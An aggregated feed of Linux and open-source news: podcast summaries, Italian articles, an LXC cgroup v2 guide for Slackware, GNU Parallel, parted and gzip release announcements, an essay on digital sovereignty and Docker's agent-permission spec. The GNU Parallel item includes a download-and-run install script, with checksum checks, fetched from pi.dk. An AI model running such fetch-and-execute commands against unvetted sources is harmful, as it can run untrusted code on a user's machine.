Nuova puntata del podcast di Marco's Box, questa volta dedicata a commentare le principali notizie dal mondo di Linux e del software libero e open source.
L'articolo Notizie Tech: Blender (Android), Firefox e il futuro di Orion — Il podcast di Marco’s Box #227 proviene da Marco's Box.
Kagi annuncia lo stop allo sviluppo diretto di Orion per Linux e Windows per concentrarsi su macOS e iOS. Il codice sorgente verrà rilasciato open source alla community.
L'articolo Kagi abbandona lo sviluppo di Orion per Linux e Windows: il browser diventa open source proviene da Marco's Box.
Mozilla ha svelato i primi dettagli di Thunderbird per iOS, l'app nativa da poco in fase di sviluppo per iPhone. Sviluppata da zero, offrirà configurazione rapida, sincronizzazione efficiente e architettura aperta. Ecco le caratteristiche principali e quando sarà disponibile la prima versione beta.
L'articolo Thunderbird per iOS: primo sguardo all’app nativa per iPhone proviene da Marco's Box.
Dogfooding: is it useful? Is it necessary? Can you build an application that people like to use without dogfooding? What are the differences between dogfooding and mere testing?
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
Dogfooding: is it useful? Is it necessary? Can you build an application that people like to use without dogfooding? What are the differences between dogfooding and mere testing?
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
During the days 6-9 of October will take place the Digi-Change conference in Turin, Piedmont region, Italy.
Digi-CHange promotes the digital transformation of medical and nursing education, introducing an inter-professional model that connects educators, clinicians, engineers, and industry innovators. Aligned with the Erasmus+ Capacity Building in Higher Education priority of Digital Transformation, Digi-Change strengthens the capacity of universities in Georgia, Ukraine, and EU partner countries to modernize curricula and foster digital competencies for a sustainable, innovation-ready healthcare workforce.
In the first session, Luis Falcón will deliver a keynote presentation about the social impact of GNU Health and Libre/Free Software is having in the public healthcare system, and how it can be used in the context of Telemedicine to provide meaningful and timely healthcare access to remote areas in Europe. Other topics will be building large federated health networks, privacy, and the human factor in healthcare, medical genetics and precision medicine. Dr. Falcon will address the risks of some emerging technology (eg, LLM) poses at different levels (individual, clinical practice, cultural & scientific community and the environment), and ethical alternatives in eHealth and decision support (DSS)
During this three-day “train-the-trainers” conference, physicians, nurses and other health professionals from Ukraine, Georgia and Latvia will join colleagues from Italy, France, Austria and other European countries to exchange knowledge and experiences.
In the topic of Telemedicine, Alberto Lazzero will address National records and cross-border cooperation among France and Italy. Prof. Dr. Alberto Lazzero is the Head of Telemedicine, Hospital of Briançon (France). He is an specialist in telemedicine for patients in mountain and cross‑border areas.
The conference will be in Turin, onsite, and will count with experts on diagnostic imaging, cancer and bioinformatics, among others. There will be visits to the Istituto Neurologico “Carlo Besta” (Milan) and INOC (National Oncologic Institute Candiolo).
Looking forward to meet our colleagues from Europe in Italy and share the experiences and impact of Free/Libre software in healthcare and our society.
Original post:
https://my.gnusol ... thumbnail_id=2272
leggi "INCONTRO INTRODUTTIVO"
Premessa
Letture consigliate
Le librerie
Utilizzo della matrice LED integrata
...
Why traditional on-prem Linux skills can help you get a job in the cloud, and Shane wants to add more control planes to his Kubernetes homelab.
Support us on patreon and get an ad-free RSS feed with some early episodes
Subscribe to the RSS feed.
Come installare Ollama su Linux ed eseguire un modello di IA locale. Guida pratica a installazione, modelli, comandi, aggiornamenti e utilizzo.
L'articolo Come usare Ollama su Linux: eseguire un modello di IA locale proviene da Orvieto Linux User Group | Promozione software libero a Orvieto.
...The challenges of funding open source software projects, how Netflix uses FreeBSD in a positive way, why you shouldn’t try to complicate your monitoring, and running servers in a small residence.
Plugs
Support us on patreon and get an ad-free RSS feed with some early episodes
Why Is Everyone Stuck on FreeBSD 13?
Discussion
See our contact page for ways to get in touch.
Following in the footsteps of other European countries, the Netherlands is looking to increase its sovereign digital infrastructure with open source software.
I quaderni di Puglia SOS
La matrice LED integrata
di Arduino UNO R4
Un percorso per divertirsi
imparando a programmare
2026 I quaderni di Puglia SOS
LA MATRICE LED INTEGRATA DI ARDUINO UNO R4
Let's see how to manage unprivileged containers also in Slackware-current (16.0 to be), which -at the time I'm writing- ships kernel-7.2.x, lxc-7.0 and libcgroups-3.2.0.
Version 7 of LXC dropped cgroup v1, so we have to use cgroup v2. Thanks to 0XBF for the big support in the cgroup v2 settings as far as the limits inside the containers are concerned.
First of all, enable cgroup2 in /etc/default/cgroups
# Which version of cgroups should we mount, version 1 or version 2? # Please note that the rc.cgred init script (as well as the cgrulesengd # utility itself) will not function with cgroups version 2. Upstream # did not implement support for this since systemd handles it (of course). CGROUPS_VERSION=2 # A list of controllers to enable in the root cgroup.subtree_control file. # These are only used for cgroup version 2 configurations. Note that enabling # the 'cpu' controller will cause the kernel to no longer use real-time # scheduling. For a full list of available controllers, examine the contents # of /sys/fs/cgroup/cgroup.controllers. The following commented list is a # typical full list of controllers, while the shorter one is a typical default list # used on systemd/logind systems. # Warning: the stock kernel has CONFIG_RT_GROUP_SCHED=y. Adding 'cpu' here # will silently prevent real-time scheduling for processes in user sessions # (PipeWire, JACK, rtkit). Boot with rt_group_sched=0 if you need both. CGROUP_V2_CONTROLLERS="cpuset io memory pids misc dmem" #CGROUP_V2_CONTROLLERS="memory pids" # Options to pass when mounting cgroup2. Prefix options with '-o'. # The following example adds the 'nsdelegate' option to the mount # of cgroup2: CGROUP_V2_MOUNT_OPTS="-o nsdelegate"
Disable rc.cgconfig and rc.cgred at boot time:
chmod -x /etc/rc.d/rc.cgconfig /etc/rc.d/rc.cgred
Replace the file /etc/lxc/lxc-common.conf in this way (all lxc.cgroup.* options are now lxc.cgroup2.*):
Accedi
lxc.net.0.type = veth
lxc.net.0.flags = up
lxc.net.0.link = lxcbr0
lxc.net.0.name = eth0
lxc.net.0.hwaddr = 00:16:3e:xx:xx:xx
lxc.tty.max = 1
lxc.pty.max = 1024
lxc.cgroup2.devices.deny = a
# /dev/null and zero
lxc.cgroup2.devices.allow = c 1:3 rwm
lxc.cgroup2.devices.allow = c 1:5 rwm
# consoles
lxc.cgroup2.devices.allow = c 5:1 rwm
lxc.cgroup2.devices.allow = c 5:0 rwm
lxc.cgroup2.devices.allow = c 4:0 rwm
lxc.cgroup2.devices.allow = c 4:1 rwm
# /dev/{,u}random
lxc.cgroup2.devices.allow = c 1:9 rwm
lxc.cgroup2.devices.allow = c 1:8 rwm
lxc.cgroup2.devices.allow = c 136:* rwm
lxc.cgroup2.devices.allow = c 5:2 rwm
# rtc
lxc.cgroup2.devices.allow = c 254:0 rwm
# we don't trust even the root user in the container, better safe than sorry.
# comment out only if you know what you're doing.
lxc.cap.drop = sys_module mknod mac_override mac_admin sys_time setfcap setpcap
# you can try also this alternative to the line above, whatever suits you better.
#lxc.cap.drop=sys_admin
# proc & sys, remove from /etc/fstab
lxc.mount.auto = proc:mixed sys:ro
When you start the containers, a cgroup structure is created in /sys/fs/cgroup:
# tree -d --noreport /sys/fs/cgroup /sys/fs/cgroup ├── 1 │ ├── delegated │ └── session ├── elogind └── lxc-containers ├── c1 │ ├── delegated │ │ ├── lxc.monitor.c1 │ │ └── lxc.payload.c1 │ └── session ├── c2 │ ├── delegated │ │ ├── lxc.monitor.c2 │ │ └── lxc.payload.c2 │ └── session ├── c3 │ ├── delegated │ │ ├── lxc.monitor.c3 │ │ └── lxc.payload.c3 │ └── session
Now you are able to setup container's limits inside each config file. For example, to set a memory limit to the container test just add the following in its config file:
lxc.cgroup2.memory.max = 256M
Restart the container and check that the memory limit has been set:
cat /sys/fs/cgroup/lxc-containers/test/delegated/lxc.payload.test/memory.max 268435456
Be aware that, if you want to use my scripts with slackware-current you have to download the main branch of my github instead of the latest release:
git clone https://github.com/sagredo-dev/LXC-scripts.git
A common use of the LXC containers is to isolate services like sql, ftp, httpd, mail etc. in an host server where the only user who will ever login is root. In this case, handling the unprivileged containers can be quite annoying.
First of all, you would like to have all the containers' filesystems inside the same directory, let's say /lxc, while LXC installs them in the $HOME/.local/share/lxc directory of the container's owner user. In addition, root has to administer a container as its owner user (i.e. using sudo -u <user>), by defining the configuration file and other parameters by means of a long command to type and remember. If you have many unprivileged containers and have to perform tasks like start/stop/attach frequently, your patience will come to an end very quickly.
This is the reason why at a certain point I started to write my own wrapper scripts for the most common LXC commands. Nothing special, but it seems that no one has published any tools to simplify the LXC common tasks with unprivileged containers, so it may be worth posting here what I have done.
If you're thinking about buying a Snapdragon X2-based desktop or laptop, Linux may soon be an option.
Mozilla ha annunciato il rilascio di Firefox 157, introducendo un mix bilanciato di novità estetiche, miglioramenti dell'interfaccia e funzionalità pensate per rendere la navigazione sempre più su misura per l'utente, mantenendo invariata l'attenzione alla privacy e alla sicurezza.
L'articolo Firefox si rinnova: personalizzazione, interfaccia ottimizzata e il grande ritorno della Modalità Compatta proviene da Marco's Box.
GNU Parallel 20260922 ('Parton') has been released. It is available for download at: lbry://@GnuParallel:4
Quote of the month:
GNU parallel is awesome. Use it more often in your scripts!
-- Wade @WadeGrimshire@twitter
New in this release:
GNU Parallel - For people who live life in the parallel lane.
If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.
GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.
If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.
GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.
For example you can run this to convert all jpeg files into png and gif files and have a progress bar:
parallel --bar convert {1} {1.}.{2} ::: *.jpg ::: png gif
Or you can generate big, medium, and small thumbnails of all jpeg files in sub dirs:
find . -name '*.jpg' |
parallel convert -geometry {2} {1} {1//}/thumb{2}_{1/} :::: - ::: 50 100 200
You can find more about GNU Parallel at: http://www.gnu ... rg/s/parallel/
You can install GNU Parallel in just 10 seconds with:
$ (wget -O - pi.dk/3 || lynx -source pi.dk/3 || curl pi.dk/3/ || \
fetch -o - http://pi.dk/3 ) > install.sh
$ sha1sum install.sh | grep c555f616391c6f7c28bf938044f4ec50
12345678 c555f616 391c6f7c 28bf9380 44f4ec50
$ md5sum install.sh | grep 707275363428aa9e9a136b9a7296dfe4
70727536 3428aa9e 9a136b9a 7296dfe4
$ sha512sum install.sh | grep b24bfe249695e0236f6bc7de85828fe1f08f4259
83320d89 f56698ec 77454856 895edc3e aa16feab 2757966e 5092ef2d 661b8b45
b24bfe24 9695e023 6f6bc7de 85828fe1 f08f4259 6ce5480a 5e1571b2 8b722f21
$ bash install.sh
Watch the intro video on http://www.youtub ... L284C9FF2488BC6D1
Walk through the tutorial (man parallel_tutorial). Your command line will love you for it.
When using programs that use GNU Parallel to process data for publication please cite:
O. Tange (2018): GNU Parallel 2018, March 2018, https://doi.org/1 ... 81/zenodo.1146014.
If you like GNU Parallel:
If you use programs that use GNU Parallel for research:
If GNU Parallel saves you money:
GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.
The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.
When using GNU SQL for a publication please cite:
O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.
GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.
What Linux and open source will look like in 10 years, the aspects of Linux that got us hooked all those years ago, our happiest and most miserable experiences of converting people, and how we teach kids about privacy and security.
Tailscale
Tailscale is a modern, secure, zero-trust connectivity platform. Tailscale’s personal plan will be free forever for up to 6 users and unlimited devices! No credit card required. Go to tailscale.com/lnl to get started. If you’d like to bring Tailscale to work, use code latenightlinux for three free months of any paid plan.
Support us on patreon and get an ad-free RSS feed with some early episodes
Come funziona il networking Docker? Scopri bridge network, comunicazione tra container, DNS, port mapping e collegamento tra container e host.
L'articolo Docker Networking: come comunicano container, host e servizi proviene da Orvieto Linux User Group | Promozione software libero a Orvieto.
...L’attività è rivolta a ragazze e ragazzi dai 10 anni in su che vogliano affacciarsi al mondo della robotica e domotica amatoriale attraverso la programmazione di Arduino. Sono previsti 2 corsi con incontri settimanali (martedì o mercoledì), dalle 17 alle 19:
MARTEDI’
23, 30 GIUGNO
7, 14, 21, 28 LUGLIO
4, 25 AGOSTO
1, 8, 15 SETTEMBRE
MERCOLEDI’
...
ARDUINO DAY 2026
innovazione, formazione e cultura open source a Barletta
La Puglia Software Open Source – APS, associazione di promozione sociale attiva sul territorio dal 2012 e riorganizzata nel 2019 come Ente del Terzo Settore, annuncia la propria partecipazione all’Arduino Day 2026, l’evento mondiale dedicato alla creatività elettronica e alla cultura dell’open hardware....
Various small bug fixes, nothing major.
I'd suggest certbot by Lets Encrypt: https://certbot.eff.org/
It'll do everything for you besides check your email and plug the certs into your program.
1) If it does not work for you, reload OpenWebRX page while holding the SHIFT key.
2) If it does not work for you, check "Settings | Feature report" page to see what you are missing.
3) If it does not work for you, wait for a day or two, maybe it starts working or you figure it out.
4) If it does not work for you, create a separate forum thread and explain your problem there. Attach the logs, obtained with "sudo journalctl -u openwebrx". Do not paste the entire log into the message, attach it as a file instead.
Hello. Jakob, this one is mainly for you, as the maintainer of Receiverbook.
I run dxcontest.org, a free DX cluster site for radio amateurs. Next to every
spot there is a "WebSDR" button that opens the spotted frequency on a remote
receiver that actually covers it. We do not proxy or re-stream anything: the
button opens the receiver's own page in a new tab, already tuned to the
frequency and mode, so the receiver gets a normal visitor and the credit.
The list behind that button holds about 880 receivers today. Almost all of them
are KiwiSDRs, which John Seamons (ZL4VO/KF6VO) kindly allowed us to download
once per hour. The OpenWebRX and WebSDR ones we have added one at a time,
taking the bands from each receiver's own status.json or bandinfo.js, which
does not get us very far.
I would like to use the Receiverbook listing for that, and I would rather ask
than crawl the site. The OpenWebRX and WebSDR receivers are the ones we are
missing; we would leave the KiwiSDR entries alone, since we already have that
list. Is there a way you would be comfortable with: a JSON export, an endpoint,
or permission to fetch the listing pages?
Whatever we use, we would download it once per hour at most, from a single IP,
cached on our side; identify ourselves with a clear User-Agent including a
contact address; follow any rate limit or format you prefer and stop at once if
you ask us to; and credit Receiverbook as the source, with a link, both on the
page and in the list itself.
If the answer is no, that is fine and we will leave it alone.
73, Pascual - EA5WUA new community of KDE wants the project to adopt a strict no-AI policy for KDE Plasma.
It’s the FreeBSD challenge! We all get it running on a laptop and it’s great. Honest.
Support us on Patreon and get an ad-free RSS feed with some early episodes
See our contact page for ways to get in touch.
Subscribe to the RSS feed.
Thanks, Martin.
Well, as an old "EMC-Chap", I have seen several examples and been
able to "identify" them in some way.
Our village has 500 souls. All of them have a terrestrial birth
certificate and most probably no
relatives up there, hi.
I will carry on to run my OWRX and observe possible further
phenomena.
Such developments may change the orbital spectrum in the future:
https://www.heise.de/en/news/Data-centers-in-space-Google-to-launch-satellite-with-four-AI-accelerators-11465062.html
Regards
Wolfgang
By Philipp Reisner, CEO LINBIT®
Sovereignty is a word borrowed from statecraft. A sovereign country is independent in its decisions. The term “digital sovereignty” is a more recent invention that applies to organizations and even individuals.
In this article, I discuss what the push for digital sovereignty implies for Linux-focused, open source developers and companies. The framework I use is a European one, because I am Vienna-based and familiar with it. As I discuss later, the implications are not limited to Europe.
The European Commission published the EU Cloud Sovereignty Framework (CSF), which breaks sovereignty down into eight objectives:
The framework rates providers on two scales: a Sovereignty Effectiveness Assurance Level (SEAL), and a complementary Sovereignty Score for cloud services. The first indicates a minimum level of sovereignty objectives met. The second shows a provider’s strengths and weaknesses across the objectives.
Each objective is rated from SEAL-0 to SEAL-4. SEAL-4 means an EU supply chain, from the physical chips up to the software.
The mechanic I find most interesting is that a provider does not get one SEAL level. It receives eight, and the overall level is the lowest of them. Your weakest objective decides your rating, not your average. Anyone who has ever tuned a storage stack will recognize that logic.
Open source software can put providers in a strong position to address the technology-openness objective, SOV-6, because customers can inspect the code, operate it independently, and avoid dependencies on proprietary implementation. Because the source is open, that argument does not stop at the EU border. A service provider in the US or in Asia aiming for full SEAL-4 is not held back by choosing open source software.
SOV-6 specifies two things: open standards and the freedom to choose technologies. In software, an open standard might define an interface that anyone can implement, but if only one vendor has implemented it, a buyer still has a single supplier for it. Depending on a single supplier also weakens a provider on SOV-5, the supply-chain objective, which protects against vendor lock-in. Freedom to choose means being able to substitute one implementation for another.
An example is the Container Storage Interface (CSI), a vendor-neutral storage standard developed under the Cloud Native Computing Foundation (CNCF) and used by Kubernetes. CSI is the standard, LINBIT provides a CSI driver for LINSTOR® and its upstream CNCF project, Piraeus Datastore, and a buyer running Kubernetes can use this driver. Because of the open standard nature of the interface, the buyer can also move between storage back ends. This is freedom for the buyer, motivation for providers to make a better solution, and neutrality from a foundation like the CNCF.
Digital sovereignty is no longer an exercise on paper. In April 2026, the European Commission awarded a sovereign cloud contract worth up to €180 million over six years to four European providers, with SEAL-2 as the minimum bar for eligibility. Sovereignty has become a procurement instrument with money attached. Predictably, one of the awards is already being publicly contested as “sovereignty-washing”.
What poured oil on the fire was an incident involving the chief prosecutor of the International Criminal Court. After the US sanctioned court officials, the chief prosecutor reportedly lost access to his Microsoft-hosted email account, and bank accounts in the United Kingdom were frozen. Since these actions, some EU banks with US exposure are preferring to over-comply rather than take any risk. Microsoft disputes the framing and maintains it never suspended services to the ICC as an organization. For me, the detail of who pressed which button matters far less than the lesson: neither the email nor the banking depended on a European decision.
In the US, similar discussions have taken place, only with different verbiage. There it is “economic security” and “supply chain resilience”, mostly aimed at China, and where Europe says “technological sovereignty”, Washington says “technological leadership”. Different branding, same substance.
As digital sovereignty gains weight in technology sourcing decisions, smaller vendors benefit.
A framework that asks, “Who owns you? Whose laws apply? Can I operate this without you, and can I read the source?” rewards exactly the properties a small open source company has by default. The hyperscalers will feel some headwind, though they are not standing still, and “sovereign” regions run by local operating entities are their answer. Whether that clears a SEAL-3 or SEAL-4 bar is the argument of the next few years.
LINBIT already made an investment in developing in the open. An open license is necessary but not enough on its own, because a project can be open and still be controlled by a single company that can relicense it. What makes the openness durable is governance that the original vendor cannot reverse. DRBD® ships in the mainline Linux kernel, and we are working to upstream the current DRBD 9 code. Code in the commons, for example, in the mainline kernel, under a foundation such as the CNCF, or in another home that no single vendor controls, is the strongest answer to SOV-6 I know of. Every project that puts it there widens the set of technology a sovereign buyer can choose from.
The post The Impact of Digital Sovereignty on Open Source Companies appeared first on Linux.com.
Microsoft really wants you to update your Exchange server, our thoughts on immutable distros, more on Jim’s approach to internet access for his kids, restricting access to servers on a corporate network, and cloning and backing up operating systems with ZFS.
Plugs
Support us on patreon and get an ad-free RSS feed with some early episodes
OpenZFS User and Developer Summit 2026: October 27-30
News
Microsoft to bounce mail from outdated Exchange servers
See our contact page for ways to get in touch.
Lunedì 19 ottobre, dalle 21:00, tornano le serate a tema del LuccaLUG, presso il Foro Boario di Lucca.
...
Docker and the CNCF will partner on an open spec to make agent permissions portable
Docker Sandbox Kits let you package an AI agent together with exactly what it is allowed to do, so anyone can pull the same agent with the same limits, review changes to those limits, and enforce them. Now, Docker has published the Docker Sandbox Kit Spec, the open specification behind Kits, under Apache 2.0 and is committing to contributing the spec to the Cloud Native Computing Foundation for neutral governance.
A Kit is an ordinary OCI container image that carries three things: the agent, the tools it uses, and a typed list of everything it asks to reach, such as network hosts, credentials, and volumes. That list lives inside the image, so pinning the image pins the agent and its requests together. A Kit builds, pushes, pulls, signs, and scans like any container image, because it is one.
“Standards are what let an ecosystem move fast without fragmenting, and few companies understand that better than Docker. By delivering Sandbox Kits as standard OCI images, Docker is giving the industry an open, repeatable way to package an AI agent, its tools, and its guardrails as one artifact. OCI is the foundation the cloud native ecosystem is built on, so a standard for agents that builds on OCI reaches the whole ecosystem at once. The CNCF welcomes this, and we’re excited to work with Docker and the community on making it broadly adopted.”
Chris Aniszczyk, CTO of the CNCF
An OCI image tells a runtime how to build and start a piece of software. It has no place to state which hosts that software may call, which credentials it may use, or which files it may keep between runs. Those decisions are made outside the image, at launch: in docker run flags, a Compose file, a CI job, an onboarding doc. For a web service, that was fine. The program was fixed, it needed a network and a port, and the flags rarely changed.
Agents are different. Claude Code and Codex decide at runtime what to do: install packages, call APIs, use credentials, change the environment they run in. So the access they need is granted piece by piece, by hand, usually to get a task unblocked. A few months in, nobody can answer a simple question: what is this agent allowed to do? The answer is spread across shell history, dashboards, and someone’s memory, and it cannot be handed to a teammate or compared with last week.
Every team answers that question on its own today, and every runtime vendor could ship its own format for the answer. That is the fragmentation OCI was created to prevent, and it is why Docker is now proposing one artifact, built on OCI, governed in the open by the CNCF community.
The Sandbox Kit Spec does not fork or replace any OCI specification. It uses the annotation extension point OCI already defines to carry the agent’s requests in the image manifest. Nothing in a registry, scanner, or signing tool needs to change.
Kits began as a feature of Docker Sandboxes, Docker’s product for running agents inside isolated microVMs, where a Kit defined one sandbox: the agent, its tools, and what it could reach. The Sandbox Kit Spec turns that definition into a standard OCI image and opens the format so any runtime can implement it. Docker Sandboxes is the first runtime that enforces it. It should not be the only one, and under Linux Foundation governance it will not be.
Two things follow for anyone running agents. The answer travels with the agent: a teammate can pull it, a reviewer can diff it, and a conforming runtime can enforce it. And when a new version asks for more, the change shows up as added lines someone can refuse.
Kits for tools from AWS, Box, Datadog, Dynatrace, JFrog, NanoClaw, OpenClaw, Palo Alto Networks, and Snyk are available now, covering cloud, observability, security, artifact management platforms and more.
That is what a shared format makes possible. A database vendor can publish a Kit that connects any agent to its service with the scope it recommends. An agent maker can publish its own Kit, so the request list comes from the people who built the agent. A platform team can publish one for the company, and every engineer starts from the same place.
Containers made software portable. Kits make authority portable: the set of things you deliberately hand an agent travels with the agent, in the same image, and means the same thing wherever a conforming runtime opens it. Docker looks forward to formally submitting Kits to the CNCF and working with the community to ensure Kits further the goal of secure, reliable agentic AI and AI governance.
If you make a tool that agents use, publish a Kit for it. If you run agents, start from one and share it with your team. The Docker Sandbox Kit Spec, its capability pages, and a worked tour of a real Kit are available at docker/sandbox-kit-spec. If there is a Kit you cannot express, or a rule a runtime cannot implement, open an issue.
The post Docker Commits to Bringing the Sandbox Kit Spec to the CNCF appeared first on Linux.com.
This is to announce parted-3.8, a stable release. This is the same as the
3.7.14 alpha release except that gnulib has been updated.
The full set of changes since parted 3.7:
Brian C. Lane (21):
maint: post-release administrivia
README-release: Fix typos in doxygen instructions
Cleanup zero as null pointer constant warnings
libparted: Catch FAT metadata triggered errors
resize: Make sure 32bit build cannot overflow frag_count
resize: Make sure hfsc_new_cachetable cannot overflow on 32bit
fdasd: Make sure data set name is positive
parted: Fix partition number allocation in do_print
maint: Update to latest gnulib and bootstrap script
maint: Update copyright statements to 2026
NEWS: Update news for next release
version 3.7.13
maint: post-release administrivia
hurd: Fix gnu_read problems with block size > 512b
NEWS: Update news for next release
maint: Update to latest gnulib
version 3.7.14
maint: post-release administrivia
maint: Update to latest gnulib
NEWS: Releasing stable version 3.8
version 3.8
Colin Watson (1):
maint: Distribute Doxyfile
Victor Couty (1):
Adding support for ExFAT filesystem
bug-parted@gnu.org (1):
bug #80795: [PATCH] build: mark functions with const attribute, per gcc warnings
Brian
[on behalf of the parted maintainers]
==================================================================
Here is the GNU parted home page:
https://gnu ... g/s/parted/
Here are the compressed sources and a GPG detached signature:
https://ftp.gnu.o ... parted-3.8.tar.xz
https://ftp.gnu.o ... ed-3.8.tar.xz.sig
Use a mirror for higher download bandwidth:
https://www.gnu.o ... rg/order/ftp.html
Here are the SHA256 and SHA3-256 checksums:
File: parted-3.8.tar.xz
SHA256 sum: a2b7811f47b0ddb1f7b1d0aa456f7c1270da70708ce231c2fe054c7199eafa63
SHA3-256 sum: dd794daa59755a9201d7cc493bcdf35903e231d48f93f7bdc79a780fcd8bf594
Verify the SHA256 checksum with either sha256sum, sha256, or
'shasum -a 256'.
Verify the SHA3-256 checksum with 'cksum -a sha3 -l 256 --base64'
from coreutils-9.8.
Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact. First, be sure to download both the .sig file
and the corresponding tarball. Then, run a command like this:
gpg --verify parted-3.8.tar.xz.sig parted-3.8.tar.xz
The signature should match the fingerprint of the following key:
pub ed25519/FF9868A2D488A5A9 2026-04-14 [SC]
Key fingerprint = 872F 3A8A 0B84 905A FFBC 8766 FF98 68A2 D488 A5A9
uid [ultimate] Brian C. Lane <bcl@redhat.com>
If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to retrieve
or refresh it, and then rerun the 'gpg --verify' command.
gpg --locate-external-key bcl@redhat.com
gpg --recv-keys FF9868A2D488A5A9
wget -q -O- 'https://savannah. ... ed&download=1' | gpg --import -
As a last resort to find the key, you can try the official GNU
keyring:
wget -q https://ftp.gnu.o ... u/gnu-keyring.gpg
gpg --keyring gnu-keyring.gpg --verify parted-3.8.tar.xz.sig parted-3.8.tar.xz
This release is based on the parted git repository, available as
git clone https://https.git ... rg/git/parted.git
with commit 5f600791b40a48c51aeb6db0432e67a29e8e7951 tagged as v3.8.
For a summary of changes and contributors, see:
https://gitweb.gi ... a=shortlog;h=v3.8
or run this command from a git-cloned parted directory:
git shortlog v3.7.14..v3.8
This release was bootstrapped with the following tools:
Autoconf 2.72
Automake 1.18.1
Gettext 0.25.1
Gnulib 2026-09-23 0b416a8a26dbdaea4f413d4fb0c41ef8ea846e4d
Gperf 3.2.1
NEWS
Promoting alpha release to stable release 3.8
KDE Connect reveals the goals for the Linux desktop darling, with one of those goals long overdue.
Automake 1.19 released. Announcement:
https://lists.gnu ... -09/msg00001.html
The Steam Frame is finally here and it’s not quite as expensive as we feared. Graham was selected in the lottery but will he actually buy one? We finally talk about Omarchy, its huge fundraising effort, and why we are disappointed in companies who are contributing. Plus LibreOffice’s enviable download numbers. With guest hosts Andy from Linux Dev Time, and Shane from Hybrid Cloud Show.
News
Not just Proton: Getting to know Valve’s new SteamOS compatibility layers
DigitalOcean has $3 million for DHH and nothing for CSS-Tricks
One week of LibreOffice 26.8 – The stats!
Development/AI policy – The Document Foundation Wiki
Support us on patreon and get an ad-free RSS feed with some early episodes
Our fantasy programming language features.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
Our fantasy programming language features.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
This is to announce gzip-1.15, a stable release.
Special thanks to Paul Eggert for his indefatigable support.
There have been 119 commits by 5 people in the 75 weeks since 1.14.
See the NEWS below for a brief summary.
Thanks to everyone who has contributed!
The following people contributed changes to this release:
Bruno Haible (2)
Collin Funk (2)
Jim Meyering (24)
Mark Adler (3)
Paul Eggert (88)
Jim
[on behalf of the gzip maintainers]
==================================================================
Here is the GNU gzip home page:
https://gnu.org/s/gzip/
Here are the compressed sources:
https://ftp.gnu.org/gnu/gzip/gzip-1.15.tar.gz (1.2MB)
https://ftp.gnu.org/gnu/gzip/gzip-1.15.tar.xz (792KB)
https://ftp.gnu.org/gnu/gzip/gzip-1.15.zip (1.5MB)
Here are the GPG detached signatures:
https://ftp.gnu.org/gnu/gzip/gzip-1.15.tar.gz.sig
https://ftp.gnu.org/gnu/gzip/gzip-1.15.tar.xz.sig
https://ftp.gnu.org/gnu/gzip/gzip-1.15.zip.sig
Use a mirror for higher download bandwidth:
https://www.gnu.org/order/ftp.html
Here are the SHA256 and SHA3-256 checksums:
SHA256 (gzip-1.15.tar.gz) = VFiGz1f6iKZeln+/cFkD1/yyVnyCxzQkk+gujXsaIQs=
SHA3-256 (gzip-1.15.tar.gz) = Pi3C560xPn/r7b8OPXzDZolBiOfpW/Bo9G+wUAdbgCw=
SHA256 (gzip-1.15.tar.xz) = mqDMeA3sFWuCgoRIM7NCq3ywjCXSzZoYac3Q3zHe/0g=
SHA3-256 (gzip-1.15.tar.xz) = gwwVDPignGjkxS/sw1QPN+PInnUE5sxAjkefL5C3/Mk=
SHA256 (gzip-1.15.zip) = UvU0W04E/rexLC/qZ1/40GucNXMTtUh2yDu6cdICzhA=
SHA3-256 (gzip-1.15.zip) = nhoi+h4j1rwxGJSA8pwkqehAoraNQGbcgvGxYOcxQkg=
Verify the base64 SHA256 checksum with 'cksum -a sha256 --check'
from coreutils-9.2 or OpenBSD's cksum since 2007.
Verify the base64 SHA3-256 checksum with 'cksum -a sha3 --check'
from coreutils-9.8.
Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact. First, be sure to download both the .sig file
and the corresponding tarball. Then, run a command like this:
gpg --verify gzip-1.15.tar.gz.sig gzip-1.15.tar.gz
The signature should match the fingerprint of the following key:
pub rsa4096/0x7FD9FCCB000BEEEE 2010-06-14 [SCEA]
Key fingerprint = 155D 3FC5 00C8 3448 6D1E EA67 7FD9 FCCB 000B EEEE
uid [ultimate] Jim Meyering <jim@meyering.net>
uid [ultimate] Jim Meyering <meyering@fb.com>
uid [ultimate] Jim Meyering <meyering@gnu.org>
If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to retrieve
or refresh it, and then rerun the 'gpg --verify' command.
gpg --locate-external-key jim@meyering.net
gpg --recv-keys 7FD9FCCB000BEEEE
wget -q -O- 'https://savannah.gnu.org/project/release-gpgkeys.php?group=gzip&download=1' | gpg --import -
As a last resort to find the key, you can try the official GNU
keyring:
wget -q https://ftp.gnu.org/gnu/gnu-keyring.gpg
gpg --keyring gnu-keyring.gpg --verify gzip-1.15.tar.gz.sig gzip-1.15.tar.gz
